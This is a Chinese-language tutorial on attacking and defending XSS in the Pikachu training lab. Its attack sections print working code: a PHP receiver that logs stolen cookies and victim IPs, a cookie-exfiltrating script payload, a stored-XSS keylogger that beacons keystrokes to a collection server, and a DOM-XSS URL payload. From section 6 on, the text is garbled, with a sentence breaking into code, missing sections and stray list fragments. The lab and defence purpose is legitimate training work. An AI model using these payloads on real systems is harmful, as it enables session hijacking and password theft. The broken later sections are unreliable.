XSS攻防实战:从Cookie窃取到键盘记录,Pikachu靶场演练与防御指南
1. 项目概述:为什么Pikachu是XSS攻防演练的绝佳起点
如果你刚接触Web安全,或者想找一个能让你把XSS(跨站脚本攻击)从理论“盘”到实战的靶场,那Pikachu靶场绝对是绕不开的一站。它不像一些“硬核”靶场上来就给你一堆模糊的输入框,而是把XSS攻击拆解得明明白白,从最基础的反射型、存储型,到进阶的DOM型,甚至结合了像Cookie窃取、键盘记录这些在真实攻击中极具破坏性的场景。这个靶场的设计者很懂教学,它模拟了一个存在各种漏洞的Web应用,让你能在一个安全、合法的环境里,亲手去“攻击”它,从而深刻理解攻击者是怎么想的,以及防御者又该如何应对。
我之所以推荐从Pikachu开始XSS实战,是因为它解决了初学者最大的痛点:理论与实践的脱节。你看再多关于XSS原理的文章,都不如自己亲手构造一个Payload(攻击载荷),看着它成功执行,并弹出一个“alert(‘XSS’)”来得直观。更重要的是,Pikachu靶场里的“Cookie窃取”和“键盘记录”模块,直接把XSS的危害性给你具象化了。你会立刻明白,XSS远不止弹个窗那么简单,它可以直接盗取用户的登录凭证(Cookie),或者悄无声息地记录下用户输入的每一个密码和银行卡号。这种冲击感,是任何文字描述都无法替代的。
所以,这次我们就以“从Cookie窃取到键盘记录”这条线为脉络,在Pikachu靶场里走一遍完整的攻防演练。目标很明确:第一,理解并复现这两种典型的XSS利用方式;第二,更重要的是,搞明白背后的防御逻辑,知道怎么在开发中堵上这些漏洞。整个过程,我会把我踩过的坑、调试的技巧以及一些容易被忽略的细节都分享出来,让你不仅能“通关”,更能“通原理”。
2. 环境准备与靶场搭建:避开第一个坑
工欲善其事,必先利其器。实战的第一步,就是把Pikachu靶场跑起来。听起来简单,但这里往往是新手遇到的第一个拦路虎。
2.1 获取与部署Pikachu靶场
Pikachu是一个用PHP写的开源漏洞靶场,你可以在GitHub等代码托管平台上轻松找到它。下载下来通常是一个压缩包,解压后放到你的Web服务器根目录下就行,比如Apache的htdocs或者Nginx配置的网站根目录。
这里有个关键点:PHP环境。Pikachu需要PHP环境来运行,我强烈建议使用集成环境工具,比如PHPStudy、XAMPP或者Docker。对于新手,PHPStudy可能是最友好的选择,它在Windows下一键安装,自带Apache、MySQL和PHP,省去了大量配置的麻烦。
部署步骤大致如下:
- 安装并启动PHPStudy,确保Apache和MySQL服务是运行状态。
- 将下载的Pikachu文件夹,复制到PHPStudy的
WWW目录下。 - 打开浏览器,访问
http://localhost/pikachu(具体路径取决于你的文件夹名)。 - 首次访问通常会有一个初始化页面,引导你创建数据库。点击初始化链接,Pikachu会自动在MySQL中创建所需的数据库和表。
注意:如果初始化失败,最常见的原因是数据库连接配置不对。你需要检查
pikachu目录下的inc/config.inc.php文件,确保里面的数据库主机(通常是localhost)、用户名、密码和你的MySQL配置一致。PHPStudy的MySQL默认密码经常是root,但最好确认一下。
2.2 关键工具:浏览器与代理调试工具
靶场跑起来后,我们还需要两样核心工具:一个“干净”的浏览器,和一个能让我们看清所有网络请求细节的“眼睛”。
浏览器选择:为了最好的兼容性和清晰的开发者工具,我推荐使用最新版的Chrome或Edge。非常重要的一点:在进行XSS测试时,尤其是测试Cookie窃取时,建议使用浏览器的“无痕模式”或单独创建一个新的测试用户配置文件。这是因为浏览器可能会缓存Cookie、自动填充表单,干扰你的测试结果。用一个全新的会话环境,能让测试更可控。
开发者工具(F12):这是你最重要的战友。我们主要用到两个面板:
- 控制台(Console):这里会显示JavaScript的错误、你执行的命令以及
console.log的输出。当你的XSS Payload没生效时,第一个就应该来这里看有没有JS报错。 - 网络(Network):它会记录页面加载过程中所有的HTTP请求和响应。在测试“存储型XSS”或提交表单时,你可以在这里清晰地看到你提交的数据是什么格式、服务器返回了什么,这对于调试Payload至关重要。
浏览器扩展:虽然非必须,但有些扩展能极大提升效率。比如可以快速编码/解码URL、Base64的工具扩展。不过,我建议初期先尽量手动操作,这能加深你对Payload构造过程的理解。
环境准备好后,打开Pikachu主页,你应该能看到一个分类清晰的漏洞列表。找到“XSS”相关模块,我们的实战就从这里开始。
3. XSS核心原理与Pikachu漏洞类型速览
在动手之前,我们花几分钟统一一下思想,理解XSS到底是怎么回事,以及Pikachu给我们准备了哪些“考题”。
3.1 XSS的本质:当数据被当成了代码
XSS的全称是Cross-Site Scripting,核心问题出在“数据”和“代码”的边界被模糊了。一个健康的Web应用,应该把用户输入始终当作“数据”(文本)来处理和显示。但如果应用没有做好过滤和转义,用户输入的包含JavaScript代码的“数据”,被浏览器接收并渲染时,浏览器会误以为这是一段合法的“代码”并执行它。
举个例子,一个搜索框,你输入“你好”,页面显示“您搜索的关键词是:你好”。这没问题。但如果你输入,而服务器直接把这个内容原样插到了HTML页面里,浏览器解析到时,就会把它当作HTML标签,进而执行里面的JavaScript代码,弹出一个对话框。
3.2 Pikachu中的三大XSS类型
Pikachu靶场基本涵盖了XSS的三种主要类型,理解它们的区别对后续攻击和防御都有关键意义:
反射型XSS(Reflected XSS):
- 特点:Payload“一闪而过”。攻击代码通常附在URL参数中(比如
?search=),服务器接收到后,未经妥善处理就直接拼接到响应页面里返回给浏览器。攻击者需要诱骗用户点击这个恶意链接。 - Pikachu场景:通常在“反射型XSS(GET/POST)”模块。你需要构造一个带Payload的URL,提交后立即看到效果(比如弹窗)。它的利用依赖于社交工程(骗人点击)。
- 特点:Payload“一闪而过”。攻击代码通常附在URL参数中(比如
存储型XSS(Stored XSS):
- 特点:Payload“持久化”。攻击代码被提交到服务器(比如留言、昵称),并存储到数据库或文件里。之后,任何访问特定页面(如查看留言)的用户,其浏览器都会执行这段恶意代码。危害最大,因为一次注入,影响所有后续访客。
- Pikachu场景:在“存储型XSS”模块。你会在一个表单(如留言板)里输入Payload,提交后,刷新页面或重新访问,Payload依然会执行。
DOM型XSS(DOM-based XSS):
- 特点:Payload的解析和执行完全发生在客户端的浏览器中,不经过服务器。漏洞源于前端JavaScript代码不安全地操作了DOM(文档对象模型),例如使用
innerHTML或document.write直接拼接了用户可控的数据(如URL片段#后面的内容)。 - Pikachu场景:在“DOM型XSS”模块。你修改URL中
#后面的部分,页面上的JavaScript会读取这个值并动态更新页面内容,如果处理不当就可能导致XSS。它的利用也通常需要用户点击一个特制的链接。
- 特点:Payload的解析和执行完全发生在客户端的浏览器中,不经过服务器。漏洞源于前端JavaScript代码不安全地操作了DOM(文档对象模型),例如使用
搞清楚了这些基础,我们就可以进入正题,看看如何利用这些漏洞,实现Cookie窃取和键盘记录。
4. 实战一:利用反射型XSS窃取用户Cookie
Cookie窃取是XSS攻击中最经典、最直接的危害之一。HTTP协议本身是无状态的,Cookie是服务器用来识别用户会话的关键凭证。如果攻击者能拿到你的会话Cookie,他就可以在浏览器中导入这个Cookie,从而冒充你的身份登录系统,无需知道你的密码。
4.1 攻击原理与场景模拟
假设Pikachu靶场有一个搜索功能,存在反射型XSS漏洞。攻击者构造了一个恶意搜索链接,其中包含窃取Cookie的JavaScript代码。他通过邮件、社交网站等渠道把这个链接发给受害者。受害者点击后,其浏览器会向漏洞网站发起请求,服务器返回的页面中包含了恶意代码,该代码在受害者浏览器中执行,悄悄地将受害者当前域名下的Cookie发送到攻击者控制的服务器上。
4.2 构造窃取Cookie的Payload
在Pikachu的“反射型XSS(GET)”漏洞页面,你会看到一个输入框。最简单的测试是输入 ``,点击提交,页面会弹出一个对话框,证明漏洞存在。
但这只是测试。真正的攻击Payload需要把Cookie偷走。我们需要一个“接收平台”来收集被盗的Cookie。这里,我们可以用一个非常简单的PHP脚本来模拟攻击者的服务器。
首先,在Pikachu同服务器的其他目录(或者甚至在同一靶场内,新建一个文件),创建一个名为cookie_reciver.php的文件,内容如下:
<?php // 接收通过URL参数传递过来的Cookie $cookie = $_GET['c']; // 获取一些额外信息,如受害者IP $ip = $_SERVER['REMOTE_ADDR']; // 将信息记录到本地文件 $file = 'stolen_cookies.txt'; $data = "时间: " . date('Y-m-d H:i:s') . "\nIP: " . $ip . "\nCookie: " . $cookie . "\n---\n"; // 使用FILE_APPEND模式追加写入 file_put_contents($file, $data, FILE_APPEND); // 为了避免受害者浏览器显示异常,可以返回一个1x1像素的透明图片 header('Content-Type: image/gif'); echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7'); // 这是一个1x1像素的透明GIF ?>这个脚本的作用是:接收一个名为c的GET参数(里面是Cookie),连同受害者的IP地址一起,追加写入到同目录下的stolen_cookies.txt文件中。
接下来,构造XSS Payload。我们的目标是让受害者的浏览器访问这个cookie_reciver.php脚本,并把Cookie作为参数传过去。JavaScript中可以用document.cookie获取当前页面的Cookie,然后用Image对象发起一个请求(这种方式非常隐蔽)。
Payload如下:
<script>var img = new Image(); img.src = 'http://你的靶场地址/path/to/cookie_reciver.php?c=' + encodeURIComponent(document.cookie);</script>为了在URL中传递,我们需要对这个Payload进行URL编码。编码后的字符串大致长这样:
%3Cscript%3Evar%20img%20%3D%20new%20Image%28%29%3B%20img.src%20%3D%20%27http%3A%2F%2Flocalhost%2Fpikachu%2Fcookie_reciver.php%3Fc%3D%27%20%2B%20encodeURIComponent%28document.cookie%29%3B%3C%2Fscript%3E4.3 实施攻击与结果验证
- 部署接收端:将
cookie_reciver.php文件放在你的Web服务器可访问的路径下,并确保该目录有写入权限(stolen_cookies.txt文件会自动创建)。 - 构造恶意URL:在Pikachu反射型XSS(GET)页面,将上述编码后的Payload填入输入框,或者直接拼接URL:
http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Evar%20img...(很长一串)&submit=submit。 - 模拟受害者访问:复制这个长长的URL,在浏览器的无痕窗口中打开。你会发现页面可能看起来没什么变化(因为我们返回了一个透明图片),或者因为脚本执行有细微卡顿。
- 检查成果:去查看
stolen_cookies.txt文件。如果一切顺利,你应该能看到里面记录了一条信息,包含了时间、IP(127.0.0.1)和最重要的——当前Pikachu靶场的会话Cookie(可能叫PHPSESSID)。
实操心得:第一次尝试时,我经常遇到接收端收不到Cookie的情况。排查步骤:第一,打开浏览器的F12“网络(Network)”面板,查看页面加载时是否真的向你的
cookie_reciver.php发起了请求?如果没有,说明Payload没执行,检查JS语法或编码。第二,如果请求发出了但状态码是404,检查文件路径是否正确。第三,如果请求是200但文件没写入,检查服务器目录的写入权限。第四,注意document.cookie只能获取非HttpOnly的Cookie。如果Cookie被设置为HttpOnly,这个方法是读不到的,这是非常重要的防御措施,我们后面会讲。
通过这个实验,你直观地看到了一个反射型XSS漏洞如何被利用来窃取凭证。接下来,我们看一个更隐蔽、危害更大的场景。
5. 实战二:利用存储型XSS实现键盘记录
如果说Cookie窃取是“偷走你的家门钥匙”,那么键盘记录就是“在你家墙上装了个隐形摄像头”。它持续监听用户在页面上的所有按键,并将记录发送给攻击者,密码、聊天内容、搜索记录等隐私一览无余。
5.1 攻击原理与持久化威胁
存储型XSS是部署键盘记录器的完美载体。因为恶意代码被永久保存在服务器上(如数据库),每一个后来浏览该页面(比如查看恶意用户留下的评论)的受害者,都会在不知不觉中加载并执行这段键盘记录脚本。攻击是一次性的,影响却是持续和广泛的。
键盘记录的原理是监听页面的键盘事件。JavaScript提供了onkeypress,onkeydown,onkeyup等事件。我们可以给document对象添加一个事件监听器,当任何按键被按下时,触发一个函数,将按键信息收集起来,并定期或实时地发送到攻击者的服务器。
5.2 构造键盘记录Payload
我们继续使用之前的cookie_reciver.php作为数据接收端,稍作修改让它也能接收键盘记录。或者,为了区分,可以新建一个keylogger_reciver.php,逻辑类似。
一个基础的键盘记录器Payload结构如下:
<script> // 初始化一个变量来存储按键记录 var loggedKeys = ''; // 定义一个发送数据的函数 function sendData(data) { var img = new Image(); img.src = 'http://localhost/pikachu/keylogger_reciver.php?k=' + encodeURIComponent(data); } // 给文档添加按键事件监听器 document.addEventListener('keypress', function(event) { // 记录按下的键,event.key 获取的是可打印字符 loggedKeys += event.key; // 每记录10个字符就发送一次(避免请求过于频繁,也可改为定时发送) if (loggedKeys.length >= 10) { sendData(loggedKeys); loggedKeys = ''; // 清空缓存 } }); // 页面卸载前(关闭或跳转)发送剩余记录 window.addEventListener('beforeunload', function() { if (loggedKeys.length > 0) { sendData(loggedKeys); } }); </script>这个脚本做了几件事:监听所有按键事件,将字符累加;当累加到10个字符时,就通过一个隐蔽的图片请求发送到攻击者服务器;在页面关闭前,发送所有未发送的记录。
5.3 注入与测试流程
- 准备接收端:创建
keylogger_reciver.php,写入逻辑与之前的Cookie接收器类似,将参数k的值记录到文件。 - 注入Payload:进入Pikachu的“存储型XSS”漏洞模块。这里通常是一个留言板或个人信息提交页面。在输入框(如“留言内容”)中,填入上述键盘记录Payload。注意,如果输入框有长度限制,你可能需要精简Payload或分多次注入(如果存在多个可存储的字段)。
- 提交并持久化:点击提交。此时,你的恶意代码已经被保存到服务器的数据库中了。
- 模拟受害者行为:非常关键的一步:关闭当前浏览器标签页,或者打开一个新的无痕窗口。然后,直接访问展示留言的页面(例如
xss_stored.php)。不要从提交后的页面直接刷新或跳转,因为那样你的浏览器上下文可能还是“攻击者”的。作为一个新的“受害者”访问,才能模拟真实攻击场景。 - 触发记录:在展示恶意留言的页面,用鼠标点击一下页面任意位置(让页面获得焦点),然后开始打字,比如输入“my secret password 123”。
- 检查记录:查看
keylogger_reciver.php对应的日志文件。你应该能看到按时间顺序记录的按键信息,可能像“my secret”、“ password 1”、“23”这样分批发送过来的字符串。
注意事项:真实的键盘记录器会更复杂。它会尝试记录所有事件(包括退格键、Tab键等,这些需要用
event.keyCode或event.code),并可能混淆发送的数据。此外,在单页应用(SPA)中,需要确保监听器在页面动态更新后依然有效。这个简单的例子已经足够揭示其原理和危害。测试完成后,务必记得清理Pikachu数据库中的恶意留言(靶场通常提供重置功能),避免影响后续练习。
6. 深度防御:从开发角度根治XSS漏洞
攻是为了更好地防。通过亲手实施攻击,我们真切感受到了XSS的威力。现在,我们站在开发者的角度,看看如何系统性地构建防线,让我们的应用对这类攻击免疫。
6.1 黄金法则:对输出进行编码/转义
这是防御XSS最根本、最有效的方法。核心思想是:任何不可信的数据在输出到不同上下文时,都必须进行相应的编码,确保它被始终当作“数据”而非“代码”解析。
输出到HTML正文(Body):使用HTML实体编码。将特殊字符转换为对应的实体。
<-><>->>&->&"->"'->'(或')- 工具:PHP可用
htmlspecialchars($string, ENT_QUOTES, ‘UTF-8’)。ENT_QUOTES参数很重要,它会同时编码单双引号。
输出到HTML属性:同样使用HTML实体编码。特别注意,属性值一定要用引号括起来(单引号或双引号),永远不要写 ``。
输出到JavaScript代码或事件(如onclick):这非常危险。绝不能简单地将用户输入拼接进 `` 标签或HTML事件属性里。应该:
- 首选:避免将动态数据放入JS执行上下文。如果必须,使用
JSON.stringify()将数据序列化,然后作为文本节点或>// 漏洞代码 var input = location.hash.substring(1); // 从URL # 后面获取数据 document.getElementById('output').innerHTML = input; // 不安全地插入到DOM攻击者可以构造URL:
http://example.com/page.html#<img src=x onerror=alert(document.cookie)>防御对策:
- 避免不安全的DOM操作:尽量避免使用
innerHTML、outerHTML、document.write()。优先使用textContent或setAttribute来操作文本和属性。 - 对DOM API的输入进行净化:如果必须使用
innerHTML,在插入前对不可信数据使用专门的净化库(如DOMPurify)进行处理。 - 使用安全的API:比如使用
addEventListener绑定事件,而不是在HTML中写onclick=”…”。
7.3 利用不安全的JavaScript库或插件
网站引用的第三方JavaScript库或插件如果存在漏洞,也可能成为XSS的入口。例如,老版本的jQuery如果使用了
.html()方法拼接不可信数据,或者某些UI组件的某些功能存在注入点。防御对策:
- 保持依赖更新:定期更新所有前端库和插件到最新稳定版。
- 实施子资源完整性(SRI):在引入第三方CDN资源时,使用
integrity属性。浏览器会验证资源的哈希值是否匹配,防止资源被篡改。<script src="https://cdn.example.com/jquery.min.js" integrity="sha384-..."> </script> - 审计第三方代码:对于关键业务,考虑对引入的重要第三方库进行安全审计。
了解这些绕过技巧,不是为了制造攻击,而是让你明白,防御XSS不能依赖单一、简单的过滤规则,而需要一套组合拳,从开发框架、编码习惯到部署配置,形成完整的防御体系。
8. 实战排查与防御验证
理论说再多,不如动手验证。在Pikachu靶场中,我们也可以尝试应用一些防御措施,看看攻击是否还能成功。
8.1 为Pikachu添加基础防御(模拟)
由于Pikachu是故意存在漏洞的靶场,我们无法直接修改其核心代码来修复漏洞(那样就失去练习意义了)。但我们可以通过一些外围手段来模拟防御效果,加深理解。
模拟HttpOnly Cookie:
- 打开Pikachu的登录功能,登录一个用户。
- 打开浏览器开发者工具,在“应用程序(Application)”或“存储(Storage)”标签页中查看Cookie。你会发现
PHPSESSID可能没有HttpOnly标志。 - 我们可以通过一个简单的实验来理解HttpOnly的作用:在控制台输入
document.cookie,看看能否读到这个会话Cookie。如果能,说明它是不安全的。 - 思考:如果这是一个真实应用,开发者应该在服务端设置会话Cookie时加上
httponly标志。你可以尝试修改本地PHP的php.ini中session.cookie_httponly的值为1,重启服务后观察Cookie的变化和document.cookie的输出。
模拟输出编码:
- 找到Pikachu中反射型XSS的漏洞文件(例如
xss_reflected_get.php)。 - 查看其源代码(通常就在
vul/xss/目录下)。你会发现它大概是这样的:<?php $message = $_GET[‘message’] ?? ‘’; echo “你输入的内容是:” . $message; // 危险!直接回显 ?> - 手动修复:你可以尝试将这行改为:
echo “你输入的内容是:” . htmlspecialchars($message, ENT_QUOTES, ‘UTF-8’); - 保存文件,然后再次尝试之前的XSS Payload。你会发现,
<script>标签被原样显示为文本,而不会被执行。这就是输出编码的力量。
8.2 使用工具进行漏洞扫描与验证
除了手动测试,了解一些自动化工具也是必要的,它们可以帮助开发者在早期发现潜在问题。
- 浏览器扩展 - XSS检测助手:有些安全浏览器扩展可以辅助检测简单的XSS,例如在页面中查找可能的注入点并提示。但不要过度依赖。
- DAST工具:动态应用安全测试工具,如OWASP ZAP、Burp Suite的主动扫描功能。它们可以自动爬取你的网站,并向所有输入点注入测试Payload,然后分析响应,寻找漏洞迹象。
- 使用方法(以ZAP为例):将浏览器代理设置为ZAP,然后在Pikachu网站上进行正常浏览(点击所有链接,提交所有表单)。ZAP会记录所有请求。之后启动主动扫描,ZAP会自动进行测试并生成报告。
- 注意:在测试自己开发的应用时,务必在测试环境进行,并确保有备份,因为自动扫描可能会产生大量测试数据。
实操心得:自动化工具能发现很多常见漏洞,但它们不是万能的。尤其是对于逻辑复杂的DOM型XSS、需要特定上下文或交互才能触发的存储型XSS,工具可能漏报。因此,手动安全测试和代码审计仍然是不可替代的。最好的安全是“安全左移”,在代码编写阶段就遵循安全规范,而不是依赖后期的扫描和修补。
通过这一整套从攻击到防御的演练,你应该对XSS漏洞的成因、利用方式、巨大危害以及系统的防御方法有了非常立体和深刻的认识。安全是一个持续的过程,保持警惕,持续学习,将安全思维融入开发的每一个环节,是每一位开发者应有的责任。
- 避免不安全的DOM操作:尽量避免使用
- 首选:避免将动态数据放入JS执行上下文。如果必须,使用
